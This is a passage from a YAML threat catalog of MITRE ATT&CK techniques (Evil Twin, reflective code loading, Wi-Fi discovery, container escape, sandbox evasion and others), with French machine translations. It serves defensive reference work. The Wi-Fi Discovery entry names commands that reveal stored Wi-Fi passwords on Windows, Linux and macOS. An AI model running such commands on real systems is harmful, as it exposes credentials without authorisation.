          \ Identifier) d\u2019un r\xE9seau Wi-Fi l\xE9gitime, les points d\u2019\
          acc\xE8s Wi-Fi frauduleux peuvent inciter les appareils ou les utilisateurs\
          \ \xE0 se connecter \xE0 des r\xE9seaux Wi-Fi malveillants. (Citation :\
          \ Jumeau mal\xE9fique de Kaspersky)(Citation : jumeau moyen-mal\xE9fique)\
          \  Les adversaires peuvent fournir un signal plus puissant ou bloquer l\u2019\
          acc\xE8s aux points d\u2019acc\xE8s Wi-Fi pour contraindre ou inciter les\
          \ appareils victimes \xE0 se connecter \xE0 des r\xE9seaux malveillants.\
          \ (Citation : spectre ops jumeau mal\xE9fique)  Un Wi-Fi Pineapple \u2013\
          \ un outil d\u2019audit de s\xE9curit\xE9 r\xE9seau et de test d\u2019intrusion\
          \ \u2013 peut \xEAtre d\xE9ploy\xE9 dans les attaques Evil Twin pour une\
          \ facilit\xE9 d\u2019utilisation et une port\xE9e plus large. Des certificats\
          \ personnalis\xE9s peuvent \xEAtre utilis\xE9s pour tenter d\u2019intercepter\
          \ le trafic HTTPS. \n\nDe m\xEAme, les adversaires peuvent \xE9galement\
          \ \xE9couter les appareils clients qui envoient des demandes de sonde pour\
          \ des r\xE9seaux connus ou pr\xE9c\xE9demment connect\xE9s (listes de r\xE9\
          seaux pr\xE9f\xE9r\xE9s ou PNL). Lorsqu\u2019un point d\u2019acc\xE8s malveillant\
          \ re\xE7oit une demande de sonde, les adversaires peuvent r\xE9pondre avec\
          \ le m\xEAme SSID pour imiter le r\xE9seau de confiance et connu. (Citation\
          \ : spectre ops jumeau mal\xE9fique)  Les appareils victimes sont amen\xE9\
          s \xE0 croire que le point d\u2019acc\xE8s r\xE9pondant provient de leur\
          \ PNL et initient une connexion au r\xE9seau frauduleux.\n\nLorsqu\u2019\
          il se connecte au point d\u2019acc\xE8s Wi-Fi malveillant, un utilisateur\
          \ peut \xEAtre redirig\xE9 vers une fausse page de connexion ou une page\
          \ Web de portail captif pour capturer les informations d\u2019identification\
          \ de la victime. Une fois qu\u2019un utilisateur est connect\xE9 au r\xE9\
          seau Wi-Fi frauduleux, l\u2019adversaire peut \xEAtre en mesure de surveiller\
          \ l\u2019activit\xE9 du r\xE9seau, de manipuler des donn\xE9es ou de voler\
          \ des informations d\u2019identification suppl\xE9mentaires. Les endroits\
          \ o\xF9 les concentrations d\u2019acc\xE8s Wi-Fi public sont \xE9lev\xE9\
          es, tels que les a\xE9roports, les caf\xE9s ou les biblioth\xE8ques, peuvent\
          \ \xEAtre la cible d\u2019adversaires qui cherchent \xE0 mettre en place\
          \ des points d\u2019acc\xE8s Wi-Fi ill\xE9gitimes.\nhttps://attack.mitre.org/techniques/T1557/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1620
    ref_id: T1620
    name: Reflective Code Loading
    description: "Adversaries may reflectively load code into a process in order to\
      \ conceal the execution of malicious payloads. Reflective loading involves allocating\
      \ then executing payloads directly within the memory of the process, vice creating\
      \ a thread or process backed by a file path on disk (e.g., [Shared Modules](https://attack.mitre.org/techniques/T1129)).\n\
      \nReflectively loaded payloads may be compiled binaries, anonymous files (only\
      \ present in RAM), or just snubs of fileless executable code (ex: position-independent\
      \ shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation:\
      \ Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL) For\
      \ example, the `Assembly.Load()` method executed by [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
      \ may be abused to load raw code into the running process.(Citation: Microsoft\
      \ AssemblyLoad)\n\nReflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055)\
      \ except that the \u201Cinjection\u201D loads code into the processes\u2019\
      \ own memory instead of that of a separate process. Reflective loading may evade\
      \ process-based detections since the execution of the arbitrary code may be\
      \ masked within a legitimate or otherwise benign process. Reflectively loading\
      \ payloads directly into memory may also avoid creating files or other artifacts\
      \ on disk, while also enabling malware to keep these payloads encrypted (or\
      \ otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation:\
      \ 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)\n\
      https://attack.mitre.org/techniques/T1620"
    translations:
      fr:
        name: "Chargement du code r\xE9fl\xE9chissant"
        description: "Les adversaires peuvent charger du code de mani\xE8re r\xE9\
          fl\xE9chie dans un processus afin de dissimuler l\u2019ex\xE9cution de charges\
          \ utiles malveillantes. Le chargement r\xE9fl\xE9chi consiste \xE0 allouer\
          \ puis \xE0 ex\xE9cuter des charges utiles directement dans la m\xE9moire\
          \ du processus, au lieu de cr\xE9er un thread ou un processus soutenu par\
          \ un chemin de fichier sur le disque (par exemple, [Modules partag\xE9s](https://attack.mitre.org/techniques/T1129)).\n\
          \nLes charges utiles charg\xE9es de mani\xE8re r\xE9fl\xE9chie peuvent \xEA\
          tre des binaires compil\xE9s, des fichiers anonymes (uniquement pr\xE9sents\
          \ dans la RAM) ou simplement des snob de code ex\xE9cutable sans fichier\
          \ (ex : shellcode ind\xE9pendant de la position). (Citation : Pr\xE9sentation\
          \ du beignet)(Citation : S1 Custom Shellcode Tool)(Citation : M\xE9moire\
          \ de Stuart ELF)(Citation : 00sec Droppers)(Citation : Mandiant BYOL) Par\
          \ exemple, la m\xE9thode 'Assembly.Load()' ex\xE9cut\xE9e par [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
          \ peut \xEAtre utilis\xE9e de mani\xE8re abusive pour charger du code brut\
          \ dans le processus en cours d\u2019ex\xE9cution. (Citation : Microsoft\
          \ AssemblyLoad)\n\nL\u2019injection de code r\xE9fl\xE9chissante est tr\xE8\
          s similaire \xE0 l\u2019injection de processus(https://attack.mitre.org/techniques/T1055),\
          \ sauf que l\u2019injection charge le code dans la m\xE9moire des processus\
          \ au lieu de celle d\u2019un processus distinct. Le chargement r\xE9fl\xE9\
          chi peut \xE9chapper aux d\xE9tections bas\xE9es sur le processus, car l\u2019\
          ex\xE9cution du code arbitraire peut \xEAtre masqu\xE9e dans un processus\
          \ l\xE9gitime ou autrement b\xE9nin. Le chargement r\xE9fl\xE9chi des charges\
          \ utiles directement en m\xE9moire peut \xE9galement \xE9viter de cr\xE9\
          er des fichiers ou d\u2019autres artefacts sur le disque, tout en permettant\
          \ aux logiciels malveillants de conserver ces charges utiles chiffr\xE9\
          es (ou obscurcies) jusqu\u2019\xE0 l\u2019ex\xE9cution. (Citation : M\xE9\
          moire de Stuart ELF)(Citation : 00sec Droppers)(Citation : Intezer ACBackdoor)(Citation\
          \ : S1 Old Rat New Tricks)\nhttps://attack.mitre.org/techniques/T1620"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1016.002
    ref_id: T1016.002
    name: Wi-Fi Discovery
    description: "Adversaries may search for information about Wi-Fi networks, such\
      \ as network names and passwords, on compromised systems. Adversaries may use\
      \ Wi-Fi information as part of [Account Discovery](https://attack.mitre.org/techniques/T1087),\
      \ [Remote System Discovery](https://attack.mitre.org/techniques/T1018), and\
      \ other discovery or [Credential Access](https://attack.mitre.org/tactics/TA0006)\
      \ activity to support both ongoing and future campaigns.\n\nAdversaries may\
      \ collect various types of information about Wi-Fi networks from hosts. For\
      \ example, on Windows names and passwords of all Wi-Fi networks a device has\
      \ previously connected to may be available through `netsh wlan show profiles`\
      \ to enumerate Wi-Fi names and then `netsh wlan show profile \u201CWi-Fi name\u201D\
      \ key=clear` to show a Wi-Fi network\u2019s corresponding password.(Citation:\
      \ BleepingComputer Agent Tesla steal wifi passwords)(Citation: Malware Bytes\
      \ New AgentTesla variant steals WiFi credentials)(Citation: Check Point APT35\
      \ CharmPower January 2022) Additionally, names and other details of locally\
      \ reachable Wi-Fi networks can be discovered using calls to `wlanAPI.dll` [Native\
      \ API](https://attack.mitre.org/techniques/T1106) functions.(Citation: Binary\
      \ Defense Emotes Wi-Fi Spreader)\n\nOn Linux, names and passwords of all Wi-Fi-networks\
      \ a device has previously connected to may be available in files under ` /etc/NetworkManager/system-connections/`.(Citation:\
      \ Wi-Fi Password of All Connected Networks in Windows/Linux) On macOS, the password\
      \ of a known Wi-Fi may be identified with ` security find-generic-password -wa\
      \ wifiname` (requires admin username/password).(Citation: Find Wi-Fi Password\
      \ on Mac)\nhttps://attack.mitre.org/techniques/T1016/002"
    translations:
      fr:
        name: "D\xE9couverte Wi-Fi"
        description: "Les adversaires peuvent rechercher des informations sur les\
          \ r\xE9seaux Wi-Fi, telles que des noms et des mots de passe de r\xE9seau,\
          \ sur des syst\xE8mes compromis. Les adversaires peuvent utiliser les informations\
          \ Wi-Fi dans le cadre de [D\xE9couverte de compte](https://attack.mitre.org/techniques/T1087),\
          \ [D\xE9couverte de syst\xE8me \xE0 distance](https://attack.mitre.org/techniques/T1018)\
          \ et d\u2019autres activit\xE9s de d\xE9couverte ou d'[Acc\xE8s aux informations\
          \ d\u2019identification](https://attack.mitre.org/tactics/TA0006) pour soutenir\
          \ les campagnes en cours et futures.\n\nLes adversaires peuvent collecter\
          \ divers types d\u2019informations sur les r\xE9seaux Wi-Fi aupr\xE8s des\
          \ h\xF4tes. Par exemple, sous Windows, les noms et mots de passe de tous\
          \ les r\xE9seaux Wi-Fi auxquels un appareil s\u2019est pr\xE9c\xE9demment\
          \ connect\xE9 peuvent \xEAtre disponibles via \xAB netsh wlan show profiles\
          \ \xBB pour \xE9num\xE9rer les noms Wi-Fi, puis \xAB netsh wlan show profile\
          \ \xAB\_Wi-Fi name\_\xBB key=clear \xBB pour afficher le mot de passe correspondant\
          \ d\u2019un r\xE9seau Wi-Fi. (Citation\_: BleepingComputer Agent Tesla vole\
          \ des mots de passe wifi)(Citation\_: Malware Bytes New AgentLa variante\
          \ Tesla vole les informations d\u2019identification WiFi)(Citation : Check\
          \ Point APT35 CharmPower janvier 2022) De plus, les noms et autres d\xE9\
          tails des r\xE9seaux Wi-Fi accessibles localement peuvent \xEAtre d\xE9\
          couverts \xE0 l\u2019aide d\u2019appels aux fonctions \xAB wlanAPI.dll \xBB\
          \ [API native](https://attack.mitre.org/techniques/T1106). (Citation : Binary\
          \ Defense Emotes Wi-Fi Spreader)\n\nSous Linux, les noms et mots de passe\
          \ de tous les r\xE9seaux Wi-Fi auxquels un appareil s\u2019est pr\xE9c\xE9\
          demment connect\xE9 peuvent \xEAtre disponibles dans des fichiers sous '\
          \ /etc/NetworkManager/system-connections/ \xBB. (citation : Mot de passe\
          \ Wi-Fi de tous les r\xE9seaux connect\xE9s sous Windows/Linux) Sur macOS,\
          \ le mot de passe d\u2019un Wi-Fi connu peut \xEAtre identifi\xE9 par '\
          \ security find-generic-password -wa wifiname' (n\xE9cessite un nom d\u2019\
          utilisateur/mot de passe admin). (Citation : Trouver un mot de passe Wi-Fi\
          \ sur Mac)\nhttps://attack.mitre.org/techniques/T1016/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1480.002
    ref_id: T1480.002
    name: Mutual Exclusion
    description: 'Adversaries may constrain execution or actions based on the presence
      of a mutex associated with malware. A mutex is a locking mechanism used to synchronize
      access to a resource. Only one thread or process can acquire a mutex at a given
      time.(Citation: Microsoft Mutexes)


      While local mutexes only exist within a given process, allowing multiple threads
      to synchronize access to a resource, system mutexes can be used to synchronize
      the activities of multiple processes.(Citation: Microsoft Mutexes) By creating
      a unique system mutex associated with a particular malware, adversaries can
      verify whether or not a system has already been compromised.(Citation: Sans
      Mutexes 2012)


      In Linux environments, malware may instead attempt to acquire a lock on a mutex
      file. If the malware is able to acquire the lock, it continues to execute; if
      it fails, it exits to avoid creating a second instance of itself.(Citation:
      Intezer RedXOR 2021)(Citation: Deep Instinct BPFDoor 2023)


      Mutex names may be hard-coded or dynamically generated using a predictable algorithm.(Citation:
      ICS Mutexes 2015)

      https://attack.mitre.org/techniques/T1480/002'
    translations:
      fr:
        name: Exclusion mutuelle
        description: "Les adversaires peuvent limiter l\u2019ex\xE9cution ou les actions\
          \ en fonction de la pr\xE9sence d\u2019un mutex associ\xE9 \xE0 un logiciel\
          \ malveillant. Un mutex est un m\xE9canisme de verrouillage utilis\xE9 pour\
          \ synchroniser l\u2019acc\xE8s \xE0 une ressource. Un seul thread ou processus\
          \ peut acqu\xE9rir un mutex \xE0 un moment donn\xE9. (Citation : Microsoft\
          \ Mutexes)\n\nAlors que les mutex locaux n\u2019existent qu\u2019au sein\
          \ d\u2019un processus donn\xE9, permettant \xE0 plusieurs threads de synchroniser\
          \ l\u2019acc\xE8s \xE0 une ressource, les mutex syst\xE8me peuvent \xEA\
          tre utilis\xE9s pour synchroniser les activit\xE9s de plusieurs processus.\
          \ (Citation : Microsoft Mutexes) En cr\xE9ant un mutex syst\xE8me unique\
          \ associ\xE9 \xE0 un logiciel malveillant particulier, les adversaires peuvent\
          \ v\xE9rifier si un syst\xE8me a d\xE9j\xE0 \xE9t\xE9 compromis ou non.\
          \ (Citation : Sans Mutexes 2012)\n\nDans les environnements Linux, les logiciels\
          \ malveillants peuvent tenter d\u2019acqu\xE9rir un verrou sur un fichier\
          \ mutex. Si le logiciel malveillant parvient \xE0 acqu\xE9rir le verrou,\
          \ il continue \xE0 s\u2019ex\xE9cuter ; S\u2019il \xE9choue, il se ferme\
          \ pour \xE9viter de cr\xE9er une deuxi\xE8me instance de lui-m\xEAme. (Citation\
          \ : Intezer RedXOR 2021)(Citation : Deep Instinct BPFDoor 2023)\n\nLes noms\
          \ muteux peuvent \xEAtre cod\xE9s en dur ou g\xE9n\xE9r\xE9s dynamiquement\
          \ \xE0 l\u2019aide d\u2019un algorithme pr\xE9visible. (Citation : ICS Mutexes\
          \ 2015)\nhttps://attack.mitre.org/techniques/T1480/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1564.011
    ref_id: T1564.011
    name: Ignore Process Interrupts
    description: "Adversaries may evade defensive mechanisms by executing commands\
      \ that hide from process interrupt signals. Many operating systems use signals\
      \ to deliver messages to control process behavior. Command interpreters often\
      \ include specific commands/flags that ignore errors and other hangups, such\
      \ as when the user of the active session logs off.(Citation: Linux Signal Man)\
      \  These interrupt signals may also be used by defensive tools and/or analysts\
      \ to pause or terminate specified running processes. \n\nAdversaries may invoke\
      \ processes using `nohup`, [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
      \ `-ErrorAction SilentlyContinue`, or similar commands that may be immune to\
      \ hangups.(Citation: nohup Linux Man)(Citation: Microsoft PowerShell SilentlyContinue)\
      \ This may enable malicious commands and malware to continue execution through\
      \ system events that would otherwise terminate its execution, such as users\
      \ logging off or the termination of its C2 network connection.\n\nHiding from\
      \ process interrupt signals may allow malware to continue execution, but unlike\
      \ [Trap](https://attack.mitre.org/techniques/T1546/005) this does not establish\
      \ [Persistence](https://attack.mitre.org/tactics/TA0003) since the process will\
      \ not be re-invoked once actually terminated.\nhttps://attack.mitre.org/techniques/T1564/011"
    translations:
      fr:
        name: Ignorer les interruptions de processus
        description: "Les adversaires peuvent contourner les m\xE9canismes d\xE9fensifs\
          \ en ex\xE9cutant des commandes qui se cachent des signaux d\u2019interruption\
          \ de processus. De nombreux syst\xE8mes d\u2019exploitation utilisent des\
          \ signaux pour transmettre des messages afin de contr\xF4ler le comportement\
          \ du processus. Les interpr\xE9teurs de commandes incluent souvent des commandes/indicateurs\
          \ sp\xE9cifiques qui ignorent les erreurs et autres blocages, par exemple\
          \ lorsque l\u2019utilisateur de la session active se d\xE9connecte. Ces\
          \ signaux d\u2019interruption peuvent \xE9galement \xEAtre utilis\xE9s par\
          \ des outils d\xE9fensifs et/ou des analystes pour suspendre ou terminer\
          \ des processus en cours d\u2019ex\xE9cution sp\xE9cifi\xE9s. \n\nLes adversaires\
          \ peuvent appeler des processus \xE0 l\u2019aide de 'nohup', [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
          \ '-ErrorAction SilentlyContinue' ou de commandes similaires qui peuvent\
          \ \xEAtre \xE0 l\u2019abri des blocages. (Citation : nohup Linux Man)(Citation\
          \ : Microsoft PowerShell SilentlyContinue) Cela peut permettre \xE0 des\
          \ commandes malveillantes et \xE0 des programmes malveillants de poursuivre\
          \ leur ex\xE9cution par le biais d\u2019\xE9v\xE9nements syst\xE8me qui\
          \ mettraient autrement fin \xE0 son ex\xE9cution, tels que la d\xE9connexion\
          \ des utilisateurs ou l\u2019arr\xEAt de sa connexion r\xE9seau C2.\n\n\
          Le masquage des signaux d\u2019interruption de processus peut permettre\
          \ au logiciel malveillant de poursuivre son ex\xE9cution, mais contrairement\
          \ \xE0 [Trap](https://attack.mitre.org/techniques/T1546/005), cela n\u2019\
          \xE9tablit pas [Persistance](https://attack.mitre.org/tactics/TA0003) puisque\
          \ le processus ne sera pas r\xE9invoqu\xE9 une fois termin\xE9.\nhttps://attack.mitre.org/techniques/T1564/011"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1611
    ref_id: T1611
    name: Escape to Host
    description: "Adversaries may break out of a container to gain access to the underlying\
      \ host. This can allow an adversary access to other containerized resources\
      \ from the host level or to the host itself. In principle, containerized resources\
      \ should provide a clear separation of application functionality and be isolated\
      \ from the host environment.(Citation: Docker Overview)\n\nThere are multiple\
      \ ways an adversary may escape to a host environment. Examples include creating\
      \ a container configured to mount the host\u2019s filesystem using the bind\
      \ parameter, which allows the adversary to drop payloads and execute control\
      \ utilities such as cron on the host; utilizing a privileged container to run\
      \ commands or load a malicious kernel module on the underlying host; or abusing\
      \ system calls such as `unshare` and `keyctl` to escalate privileges and steal\
      \ secrets.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation:\
      \ Intezer Doki July 20)(Citation: Container Escape)(Citation: Crowdstrike Kubernetes\
      \ Container Escape)(Citation: Keyctl-unmask)\n\nAdditionally, an adversary may\
      \ be able to exploit a compromised container with a mounted container management\
      \ socket, such as `docker.sock`, to break out of the container via a [Container\
      \ Administration Command](https://attack.mitre.org/techniques/T1609).(Citation:\
      \ Container Escape) Adversaries may also escape via [Exploitation for Privilege\
      \ Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting\
      \ vulnerabilities in global symbolic links in order to access the root directory\
      \ of a host machine.(Citation: Windows Server Containers Are Open)\n\nGaining\
      \ access to the host may provide the adversary with the opportunity to achieve\
      \ follow-on objectives, such as establishing persistence, moving laterally within\
      \ the environment, accessing other containers running on the host, or setting\
      \ up a command and control channel on the host.\nhttps://attack.mitre.org/techniques/T1611"
    translations:
      fr:
        name: "\xC9vasion vers l\u2019h\xF4te"
        description: "Les adversaires peuvent s\u2019\xE9chapper d\u2019un conteneur\
          \ pour acc\xE9der \xE0 l\u2019h\xF4te sous-jacent. Cela peut permettre \xE0\
          \ un adversaire d\u2019acc\xE9der \xE0 d\u2019autres ressources conteneuris\xE9\
          es \xE0 partir du niveau de l\u2019h\xF4te ou de l\u2019h\xF4te lui-m\xEA\
          me. En principe, les ressources conteneuris\xE9es doivent fournir une s\xE9\
          paration claire des fonctionnalit\xE9s de l\u2019application et \xEAtre\
          \ isol\xE9es de l\u2019environnement h\xF4te. (Citation : Pr\xE9sentation\
          \ de Docker)\n\nIl existe plusieurs fa\xE7ons pour un adversaire de s\u2019\
          \xE9chapper vers un environnement h\xF4te. Par exemple, la cr\xE9ation d\u2019\
          un conteneur configur\xE9 pour monter le syst\xE8me de fichiers de l\u2019\
          h\xF4te \xE0 l\u2019aide du param\xE8tre bind, qui permet \xE0 l\u2019adversaire\
          \ de supprimer des charges utiles et d\u2019ex\xE9cuter des utilitaires\
          \ de contr\xF4le tels que cron sur l\u2019h\xF4te ; l\u2019utilisation d\u2019\
          un conteneur privil\xE9gi\xE9 pour ex\xE9cuter des commandes ou charger\
          \ un module de noyau malveillant sur l\u2019h\xF4te sous-jacent ; ou en\
          \ abusant des appels syst\xE8me tels que \xAB unshare \xBB et \xAB keyctl\
          \ \xBB pour \xE9lever les privil\xE8ges et voler des secrets. (Citation\
          \ : Docker Bind Mounts)(Citation : Trend Micro Privileged Container)(Citation\
          \ : Intezer Doki 20 juillet)(Citation : \xC9vasion de conteneur)(Citation\
          \ : Crowdstrike Kubernetes Container Escape)(Citation : Keyctl-unmask)\n\
          \nDe plus, un adversaire peut \xEAtre en mesure d\u2019exploiter un conteneur\
          \ compromis avec un socket de gestion de conteneur mont\xE9, tel que \xAB\
          \ docker.sock \xBB, pour sortir du conteneur via une [Container Administration\
          \ Command](https://attack.mitre.org/techniques/T1609). (Citation : \xC9\
          vasion de conteneur) Les adversaires peuvent \xE9galement s\u2019\xE9chapper\
          \ via [Exploitation pour l\u2019\xE9l\xE9vation de privil\xE8ges](https://attack.mitre.org/techniques/T1068),\
          \ par exemple en exploitant des vuln\xE9rabilit\xE9s dans des liens symboliques\
          \ globaux afin d\u2019acc\xE9der au r\xE9pertoire racine d\u2019une machine\
          \ h\xF4te. (citation : les conteneurs Windows Server sont ouverts)\n\nL\u2019\
          acc\xE8s \xE0 l\u2019h\xF4te peut donner \xE0 l\u2019adversaire la possibilit\xE9\
          \ d\u2019atteindre des objectifs ult\xE9rieurs, tels que l\u2019\xE9tablissement\
          \ de la persistance, le d\xE9placement lat\xE9ral dans l\u2019environnement,\
          \ l\u2019acc\xE8s \xE0 d\u2019autres conteneurs ex\xE9cut\xE9s sur l\u2019\
          h\xF4te ou la mise en place d\u2019un canal de commande et de contr\xF4\
          le sur l\u2019h\xF4te.\nhttps://attack.mitre.org/techniques/T1611"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1547.009
    ref_id: T1547.009
    name: Shortcut Modification
    description: 'Adversaries may create or modify shortcuts that can execute a program
      during system boot or user login. Shortcuts or symbolic links are used to reference
      other files or programs that will be opened or executed when the shortcut is
      clicked or executed by a system startup process.


      Adversaries may abuse shortcuts in the startup folder to execute their tools
      and achieve persistence.(Citation: Shortcut for Persistence ) Although often
      used as payloads in an infection chain (e.g. [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)),
      adversaries may also create a new shortcut as a means of indirection, while
      also abusing [Masquerading](https://attack.mitre.org/techniques/T1036) to make
      the malicious shortcut appear as a legitimate program. Adversaries can also
      edit the target path or entirely replace an existing shortcut so their malware
      will be executed instead of the intended legitimate program.


      Shortcuts can also be abused to establish persistence by implementing other
      methods. For example, LNK browser extensions may be modified (e.g. [Browser
      Extensions](https://attack.mitre.org/techniques/T1176)) to persistently launch
      malware.

      https://attack.mitre.org/techniques/T1547/009'
    translations:
      fr:
        name: Modification du raccourci
        description: "Les adversaires peuvent cr\xE9er ou modifier des raccourcis\
          \ qui peuvent ex\xE9cuter un programme lors du d\xE9marrage du syst\xE8\
          me ou de la connexion de l\u2019utilisateur. Les raccourcis ou les liens\
          \ symboliques sont utilis\xE9s pour r\xE9f\xE9rencer d\u2019autres fichiers\
          \ ou programmes qui seront ouverts ou ex\xE9cut\xE9s lorsque le raccourci\
          \ est cliqu\xE9 ou ex\xE9cut\xE9 par un processus de d\xE9marrage du syst\xE8\
          me.\n\nLes adversaires peuvent abuser des raccourcis dans le dossier de\
          \ d\xE9marrage pour ex\xE9cuter leurs outils et obtenir la persistance.\
          \ (Citation : raccourci pour la persistance ) Bien qu\u2019ils soient souvent\
          \ utilis\xE9s comme charges utiles dans une cha\xEEne d\u2019infection (par\
          \ exemple, [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)),\
          \ les adversaires peuvent \xE9galement cr\xE9er un nouveau raccourci comme\
          \ moyen d\u2019indirection, tout en abusant de [Masquerading](https://attack.mitre.org/techniques/T1036)\
          \ pour faire passer le raccourci malveillant pour un programme l\xE9gitime.\
          \ Les adversaires peuvent \xE9galement modifier le chemin d\u2019acc\xE8\
          s cible ou remplacer enti\xE8rement un raccourci existant afin que leur\
          \ logiciel malveillant soit ex\xE9cut\xE9 \xE0 la place du programme l\xE9\
          gitime pr\xE9vu.\n\nLes raccourcis peuvent \xE9galement \xEAtre utilis\xE9\
          s \xE0 mauvais escient pour \xE9tablir la persistance en mettant en \u0153\
          uvre d\u2019autres m\xE9thodes. Par exemple, les extensions de navigateur\
          \ LNK peuvent \xEAtre modifi\xE9es (par exemple, [Extensions de navigateur](https://attack.mitre.org/techniques/T1176))\
          \ pour lancer constamment des logiciels malveillants.\nhttps://attack.mitre.org/techniques/T1547/009"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1010
    ref_id: T1010
    name: Application Window Discovery
    description: 'Adversaries may attempt to get a listing of open application windows.
      Window listings could convey information about how the system is used.(Citation:
      Prevailion DarkWatchman 2021) For example, information about application windows
      could be used identify potential data to collect as well as identifying security
      tooling ([Security Software Discovery](https://attack.mitre.org/techniques/T1518/001))
      to evade.(Citation: ESET Grandoreiro April 2020)


      Adversaries typically abuse system features for this type of enumeration. For
      example, they may gather information through native system features such as
      [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)
      commands and [Native API](https://attack.mitre.org/techniques/T1106) functions.

      https://attack.mitre.org/techniques/T1010'
    translations:
      fr:
        name: "D\xE9couverte de la fen\xEAtre d\u2019application"
        description: "Les adversaires peuvent tenter d\u2019obtenir une liste des\
          \ fen\xEAtres d\u2019application ouvertes. Les listes de fen\xEAtres peuvent\
          \ transmettre des informations sur la fa\xE7on dont le syst\xE8me est utilis\xE9\
          . (Citation : Prevailion DarkWatchman 2021) Par exemple, les informations\
          \ sur les fen\xEAtres d\u2019application pourraient \xEAtre utilis\xE9es\
          \ pour identifier les donn\xE9es potentielles \xE0 collecter ainsi que pour\
          \ identifier les outils de s\xE9curit\xE9 ([Security Software Discovery](https://attack.mitre.org/techniques/T1518/001))\
          \ \xE0 \xE9viter. (Citation : ESET Grandoreiro avril 2020)\n\nLes adversaires\
          \ abusent g\xE9n\xE9ralement des fonctionnalit\xE9s du syst\xE8me pour ce\
          \ type d\u2019\xE9num\xE9ration. Par exemple, ils peuvent recueillir des\
          \ informations par le biais de fonctionnalit\xE9s natives du syst\xE8me\
          \ telles que les commandes [Interpr\xE9teur de commandes et de scripts](https://attack.mitre.org/techniques/T1059)\
          \ et les fonctions [API natives](https://attack.mitre.org/techniques/T1106).\n\
          https://attack.mitre.org/techniques/T1010"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1087.003
    ref_id: T1087.003
    name: Email Account
    description: 'Adversaries may attempt to get a listing of email addresses and
      accounts. Adversaries may try to dump Exchange address lists such as global
      address lists (GALs).(Citation: Microsoft Exchange Address Lists)


      In on-premises Exchange and Exchange Online, the <code>Get-GlobalAddressList</code>
      PowerShell cmdlet can be used to obtain email addresses and accounts from a
      domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation:
      Black Hills Attacking Exchange MailSniper, 2016)


      In Google Workspace, the GAL is shared with Microsoft Outlook users through
      the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally,
      the Google Workspace Directory allows for users to get a listing of other users
      within the organization.(Citation: Google Workspace Global Access List)

      https://attack.mitre.org/techniques/T1087/003'
    translations:
      fr:
        name: Compte de messagerie
        description: "Les adversaires peuvent tenter d\u2019obtenir une liste d\u2019\
          adresses e-mail et de comptes. Les adversaires peuvent essayer de vider\
          \ les listes d\u2019adresses Exchange telles que les listes d\u2019adresses\
          \ globales (GAL). (Citation : Listes d\u2019adresses Microsoft Exchange)\n\
          \nDans Exchange local et Exchange Online, l\u2019applet de commande PowerShell\
          \ <code>Get-GlobalAddressList</code> peut \xEAtre utilis\xE9e pour obtenir\
          \ des adresses e-mail et des comptes \xE0 partir d\u2019un domaine \xE0\
          \ l\u2019aide d\u2019une session authentifi\xE9e. (Citation : Microsoft\
          \ getglobaladdresslist)(Citation : Black Hills attaquant Exchange MailSniper,\
          \ 2016)\n\nDans Google Workspace, la liste d\u2019adresses globale est partag\xE9\
          e avec les utilisateurs de Microsoft Outlook via le service Google Workspace\
          \ Sync for Microsoft Outlook (GWSMO). De plus, l\u2019annuaire Google Workspace\
          \ permet aux utilisateurs d\u2019obtenir une liste des autres utilisateurs\
          \ de l\u2019organisation. (R\xE9f\xE9rence : Google Workspace Global Access\
          \ List)\nhttps://attack.mitre.org/techniques/T1087/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1497.003
    ref_id: T1497.003
    name: Time Based Evasion
    description: 'Adversaries may employ various time-based methods to detect and
      avoid virtualization and analysis environments. This may include enumerating
      time-based properties, such as uptime or the system clock, as well as the use
      of timers or other triggers to avoid a virtual machine environment (VME) or
      sandbox, specifically those that are automated or only operate for a limited
      amount of time.


      Adversaries may employ various time-based evasions, such as delaying malware
      functionality upon initial execution using programmatic sleep commands or native
      system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)).
      Delays may also be based on waiting for specific victim conditions to be met
      (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104)
      to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)


      Benign commands or other operations may also be used to delay malware execution.
      Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s,
      may be used to delay malware execution and potentially exceed time thresholds
      of automated analysis environments.(Citation: Revil Independence Day)(Citation:
      Netskope Nitol) Another variation, commonly referred to as API hammering, involves
      making various calls to [Native API](https://attack.mitre.org/techniques/T1106)
      functions in order to delay execution (while also potentially overloading analysis
      environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)


      Adversaries may also use time as a metric to detect sandboxes and analysis environments,
      particularly those that attempt to manipulate time mechanisms to simulate longer
      elapses of time. For example, an adversary may be able to identify a sandbox
      accelerating time by sampling and calculating the expected value for an environment''s
      timestamp before and after execution of a sleep function.(Citation: ISACA Malware
      Tricks)

      https://attack.mitre.org/techniques/T1497/003'
    translations:
      fr:
        name: "\xC9vasion bas\xE9e sur le temps"
        description: "Les adversaires peuvent utiliser diverses m\xE9thodes temporelles\
